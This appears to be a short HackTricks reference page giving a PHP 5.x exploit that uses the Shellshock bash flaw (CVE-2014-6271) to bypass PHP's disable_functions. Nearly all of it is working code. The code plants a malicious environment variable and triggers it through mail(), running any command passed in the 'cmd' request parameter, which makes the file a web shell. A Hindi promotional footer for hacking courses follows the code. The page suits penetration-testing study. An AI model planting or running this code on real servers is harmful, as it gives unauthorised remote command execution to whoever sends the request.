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PHP 5.x Shellshock Exploit

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

php
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283 if(strstr(readlink("/bin/sh"), "bash") != FALSE) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variables whose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variables that // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, // PHP will let the user modify ANY environment variable! mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail } else return "Not vuln (not bash)"; $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें